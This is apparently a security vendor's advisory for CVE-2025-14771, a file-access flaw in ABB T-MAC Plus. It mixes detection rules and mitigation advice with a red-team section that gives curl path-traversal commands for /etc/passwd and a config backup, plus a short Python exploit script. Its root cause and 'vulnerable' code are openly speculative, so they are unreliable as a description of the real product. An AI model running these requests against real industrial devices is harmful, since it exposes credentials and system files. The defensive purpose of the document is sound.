CVE-2025-14771
Executive Summary
CVE-2025-14771 is a critical vulnerability in ABB T-MAC Plus version 4.0-24, classified as "Files or directories accessible to external parties." This CWE-552 flaw allows an unauthenticated, remote attacker to access sensitive files or directories that should be restricted. With a CVSS score of 9.9, the vulnerability poses a severe risk to confidentiality, integrity, and availability. No public proof-of-concept (PoC) or patch is currently available, making this a high-priority zero-day for organizations using the affected software.
This record — and 170,000+ others — are available via the ValtersIT API. One endpoint replaces five: NVD + GitHub CVE + CISA KEV + EPSS + Nuclei + Exploit-DB, unified.
No signup required
Supply Chain & Package Security
This vulnerability is not related to NPM, PyPI, Go, or Ruby packages. It affects a proprietary industrial control system (ICS) component from ABB, specifically the T-MAC Plus device. Supply chain risks include potential compromise of firmware updates or configuration files, but no package ecosystem is involved.
CVSS Breakdown & Threat Level
- CVSS Score: 9.9 (Critical)
- Vector: CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:H/I:H/A:H
- Attack Vector: Network (AV:N) – exploitable remotely.
- Attack Complexity: Low (AC:L) – no special conditions required.
- Privileges Required: None (PR:N) – no authentication needed.
- User Interaction: None (UI:N) – no user action required.
- Scope: Unchanged (S:U) – impact confined to the vulnerable component.
- Confidentiality Impact: High (C:H) – full file disclosure.
- Integrity Impact: High (I:H) – files can be modified or deleted.
- Availability Impact: High (A:H) – potential denial of service via file access.
Threat Level: Critical. Immediate action is required to isolate affected systems until a patch is available.
Deep Dive & Mechanics
The vulnerability resides in ABB T-MAC Plus version 4.0-24, a device used for industrial automation and monitoring. The flaw allows external parties to access files or directories that should be restricted, likely due to improper access control in the web interface or API endpoints. Attackers can exploit this by sending crafted HTTP requests to retrieve sensitive files such as configuration files, credentials, or firmware binaries.
Root Cause: The application fails to validate user permissions when serving static files or directory listings. This could be due to a missing authentication check in the web server configuration or a path traversal vulnerability that bypasses access controls.
Attack Vector: An unauthenticated attacker sends a GET request to a vulnerable endpoint, e.g., /../../etc/passwd or /config/backup.zip, and receives the file content.
Impact: Full compromise of the device, leading to lateral movement within the OT network, data exfiltration, or disruption of industrial processes.
Vulnerable vs. Patched Code
Since no patch is available, we can only analyze the vulnerable code pattern. The vulnerable version likely contains code similar to:
# Vulnerable: No access control on file serving
@app.route('/files/<path:filename>')
def serve_file(filename):
return send_from_directory('/var/t-mac/data', filename)
A patched version would include authentication and authorization checks:
# Patched: Authentication required
@app.route('/files/<path:filename>')
@login_required
def serve_file(filename):
if not current_user.has_permission('read_files'):
abort(403)
return send_from_directory('/var/t-mac/data', filename)
Exploitation & Lab Setup
Red Team (Offensive)
Lab Setup:
- Deploy ABB T-MAC Plus 4.0-24 in a virtualized environment (e.g., using VMware or QEMU).
- Ensure the device is accessible on the network (e.g., IP 192.168.1.100).
- Use a Kali Linux attacker machine.
Exploitation Steps:
- Scan for open ports:
nmap -p 80,443,8080 192.168.1.100 - Attempt directory traversal:
curl -v "http://192.168.1.100/../../../etc/passwd" - If successful, extract configuration files:
curl -O "http://192.168.1.100/config/backup.zip" - Use extracted credentials for further lateral movement.
Exploit Code (Python):
import requests
target = "http://192.168.1.100"
payload = "/../../../etc/passwd"
response = requests.get(target + payload)
if response.status_code == 200:
print(response.text)
else:
print("Exploit failed")
Blue Team (Defensive)
Detection:
- Monitor for unusual HTTP requests containing
../or%2e%2e/patterns. - Alert on access to sensitive paths like
/etc/,/config/,/backup/.
Mitigation:
- Isolate affected devices from the internet and untrusted networks.
- Implement Web Application Firewall (WAF) rules to block path traversal attempts.
- Apply vendor patches as soon as they become available.
Indicators of Compromise (IOCs)
Network IOCs:
- HTTP GET requests with path traversal sequences (e.g.,
../,%2e%2e/). - Outbound connections from T-MAC Plus to unknown IPs on ports 80/443.
- Unusual file downloads (e.g.,
config.zip,backup.tar).
- HTTP GET requests with path traversal sequences (e.g.,
File IOCs:
- Presence of unexpected files in
/tmp/or/var/t-mac/data/. - Modified configuration files (e.g.,
config.xmlwith new entries).
- Presence of unexpected files in
System IOCs:
- New user accounts or SSH keys added to the device.
- Unauthorized processes running (e.g., reverse shells).
Detection Engineering
YARA Rule
rule CVE_2025_14771_TMAC_Plus_FileAccess {
meta:
description = "Detects path traversal attempts targeting ABB T-MAC Plus"
author = "Valters IT"
date = "2025-04-10"
reference = "CVE-2025-14771"
strings:
$path_traversal1 = "../" ascii wide nocase
$path_traversal2 = "..\\" ascii wide nocase
$path_traversal3 = "%2e%2e/" ascii wide nocase
$sensitive_path1 = "/etc/" ascii wide nocase
$sensitive_path2 = "/config/" ascii wide nocase
$sensitive_path3 = "/backup/" ascii wide nocase
condition:
any of ($path_traversal*) and any of ($sensitive_path*)
}
Sigma Rule
title: CVE-2025-14771 Path Traversal Attempt on ABB T-MAC Plus
id: 8a9b3c4d-5e6f-7a8b-9c0d-1e2f3a4b5c6d
status: experimental
description: Detects HTTP requests with path traversal patterns targeting ABB T-MAC Plus
author: Valters IT
date: 2025-04-10
logsource:
category: webserver
product: apache
detection:
selection:
cs-method: 'GET'
cs-uri-query|contains:
- '../'
- '..\\'
- '%2e%2e/'
- '/etc/'
- '/config/'
- '/backup/'
condition: selection
falsepositives:
- Legitimate file access by authorized users
level: high
Suricata Rule
alert http any any -> any any (msg:"CVE-2025-14771 ABB T-MAC Plus Path Traversal Attempt"; flow:to_server,established; content:"GET"; http_method; content:"../"; http_uri; nocase; content:"/etc/"; http_uri; nocase; sid:1000001; rev:1;)
Remediation & Mitigation
Immediate Actions:
- Disconnect affected T-MAC Plus devices from untrusted networks.
- Implement network segmentation to isolate OT devices.
- Deploy WAF rules to block path traversal patterns.
Vendor Patch:
- Monitor ABB’s security advisories for a patch.
- Apply the patch as soon as it is released.
Compensating Controls:
- Enable strict file permissions on the device.
- Use VPN or jump hosts for administrative access.
- Enable logging and alerting on file access anomalies.
Long-term:
- Conduct a security audit of all ABB T-MAC Plus deployments.
- Implement a vulnerability management program for OT assets.
Valters IT
Securing Your Digital Frontier